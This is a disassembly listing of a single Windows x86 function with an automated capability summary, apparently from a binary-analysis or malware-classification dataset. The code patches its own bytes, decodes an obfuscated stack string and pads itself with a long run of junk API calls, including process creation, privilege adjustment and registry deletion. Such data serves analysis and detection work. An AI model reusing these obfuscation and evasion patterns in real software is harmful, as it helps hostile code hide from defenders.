Function at 0xaaf000
Capabilities:
Accept command line arguments
Connect pipe
Contain obfuscated stackstrings
Create pipe
Delete registry value
Enumerate gui resources
Get common file path
Get geographical location
Get memory capacity
Get session user name
Get thread local storage value
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 0x10], 0xaafef5
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaaf036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaaf1d2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaaf0b8
call fcn.0048b3e2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaaf07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaaf094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaaf094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaaf04a
mov byte [ebp - 0x70], 1
mov byte [ebp - 0x6f], 0x76
mov byte [ebp - 0x6e], 5
mov byte [ebp - 0x6d], 0x6c
mov byte [ebp - 0x6c], 0x12
mov byte [ebp - 0x6b], 0xd6
mov byte [ebp - 0x6a], 0x48
mov byte [ebp - 0x69], 0xb0
mov byte [ebp - 0x68], 0xf1
mov byte [ebp - 0x67], 0xb3
mov byte [ebp - 0x66], 0xf
mov byte [ebp - 0x65], 0x82
mov byte [ebp - 0x64], 0x44
mov byte [ebp - 0x63], 0x9b
mov byte [ebp - 0x62], 0xf1
mov byte [ebp - 0x61], 0x4d
mov byte [ebp - 0x60], 0xd2
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x5e], 0x7d
mov byte [ebp - 0x5d], 0x33
mov byte [ebp - 0x5c], 0xc5
mov byte [ebp - 0x5b], 0xdd
mov byte [ebp - 0x5a], 4
mov byte [ebp - 0x59], 0x7c
mov byte [ebp - 0x58], 8
mov byte [ebp - 0x57], 0x77
mov byte [ebp - 0x56], 7
mov byte [ebp - 0x55], 0x6a
mov byte [ebp - 0x54], 3
mov byte [ebp - 0x53], 0x2b
mov byte [ebp - 0x52], 2
mov byte [ebp - 0x51], 0x7b
mov byte [ebp - 0x50], 0
mov byte [ebp - 0x4f], 0x81
mov byte [ebp - 0x4e], 6
mov byte [ebp - 0x4d], 0x7f
mov byte [ebp - 0x4c], 9
mov byte [ebp - 0x4b], 0x7c
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaaf162
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x26
jae 0xaaf1c7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x70]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaaf18e
mov dword [ebp - 0x24], 0x12
mov eax, dword [ebp - 8]
add eax, 0x10
mov dword [ebp - 8], eax
jmp 0xaaf15a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaaf1b6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaaf1a3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x70]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaaf15a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa29fa
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004078bc
mov ecx, eax
call fcn.00402e19
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402dbd
and dword [ebp - 0x1c], 0
jmp 0xaaf20a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaaf21a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaaf203
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
push 0x4b4
push 0x2161
push 0xfc7
push 0x816
push 0x13d
push 0x10a1
push 0x1bd2
push 0x1607
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x1f91
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call dword [sym.imp.USER32.dll_EndMenu]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0xc17
push 0xcf8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
push 0x21ce
push 0x8db
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0x8cd
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x1f1b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0xfa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x672
push 0x134c
push 0xbf5
push 0x202
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
push 0
push 0x1e34
push 0x2673
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0x1821
push 0
push 0
push 0xce7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 0x291
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0x933
push 0
push 0x1d22
push 0x1cda
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0x28c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
push 0x835
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
push 0xf30
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
push 0x32
push 0
push 0x164a
push 0x1400
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0xd8f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x2519
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0
push 1
push 0x1763
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0x2325
push 0x15af
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
push 0x1263
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
push 0x681
push 0x23ad
push 0x1f53
push 0x8d4
push 0x45a
push 0x1efd
push 0x667
push 0x237e
push 0x24
push 0x18db
push 0x236c
push 0x1768
push 0xb77
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0
push 0
push 0xcfe
push 0
push 0x1b0c
push 0
push 0x202f
push 0x1c33
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0x48c
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
push 0x1a08
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
push 0
push 0x1de1
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0x1cd3
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
push 0
push 0xe9d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0xef7
push 0x441
push 0xe12
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x4e
push 0x7d
push 0x1260
push 0x20e4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
push 0xf1c
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x2a6
push 0x805
push 0xc79
push 0x2015
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0x1f74
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0x48a
push 0
push 0
push 0x11a9
push 0x21b3
push 0x1181
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x1e1d
push 0x215b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0
push 0x7e7
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x1674
push 0x1c2f
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x22bd
push 0xb2a
push 0x1168
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 1
push 0
push 0x1335
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0
push 0x55c
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x4fe
push 0x23c3
push 0x22b8
push 0x1717
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x76b
push 0x1563
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x710
push 0xd74
push 0
push 0
push 0x42f
push 0x1179
call dword [sym.imp.USER32.dll_ToUnicode]
push 0
push 0x2640
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push 0x20db
call dword [sym.imp.USER32.dll_MessageBeep]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0x177b
push 0x1161
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
push 0x1b
push 0x1f62
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 0x22c0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xd79
call dword [sym.imp.USER32.dll_GetSysColor]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0x1664
push 0
push 0
push 0
push 0x1ab
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0x27f
push 0x2540
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0x89f
push 0x1ea6
push 0x1d29
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0x23cd
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0x7c9
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x328
push 0x7c7
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
call dword [sym.imp.GDI32.dll_GdiFlush]
push 0x2121
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0xb33
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
push 0x2b9
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 0x169f
push 0x26df
push 0x2591
push 0x24de
push 0x1f37
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x12eb
push 0x364
push 0x941
push 0x16b0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0x13d9
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0x1fa2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x15f1
push 0xb3
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0
push 0x1ee1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x11f0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 0
push 0x2698
push 0x14d5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0
push 0x76c
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x2008
push 0
push 0x243a
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x10de
push 0x4d7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0x181a
push 0x23cc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x22b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x1e00
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0x197e
push 0x26d3
push 0x24b8
push 0x1d1c
push 0x26cd
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0
push 0
push 0x2131
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x2663
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
push 0xdcf
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0x2627
push 0x151f
call dword [sym.imp.GDI32.dll_CreatePen]
push 0x7e0
push 0x247a
push 0x1e1d
push 0x1fca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0xdd7
push 0x21f2
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x6cc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0x261d
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
push 0xe27
push 0x1470
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0x119e
push 0x121f
push 0xb78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0x2531
push 0x8d7
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x19e4
push 0x15ac
push 0x1534
push 0x10e2
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0xf51
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0
push 0
push 0x1642
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x363
push 0x11e8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0x5f2
push 0
push 0
push 0
push 0
push 0x712
push 0x140c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0xfce
push 0x20f4
push 0x954
push 0x2458
push 0x1a56
push 0x170b
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x20fe
push 0x167
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0x844
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x59c
push 0x1363
push 0
push 0
push 0x947
push 0x1b56
push 0x14f6
push 0x1d4
push 0x888
push 0x233d
push 0x551
push 0x2119
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0x2599
push 0xd5c
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
jmp 0xaafeff
mov esp, ebp
pop ebp
ret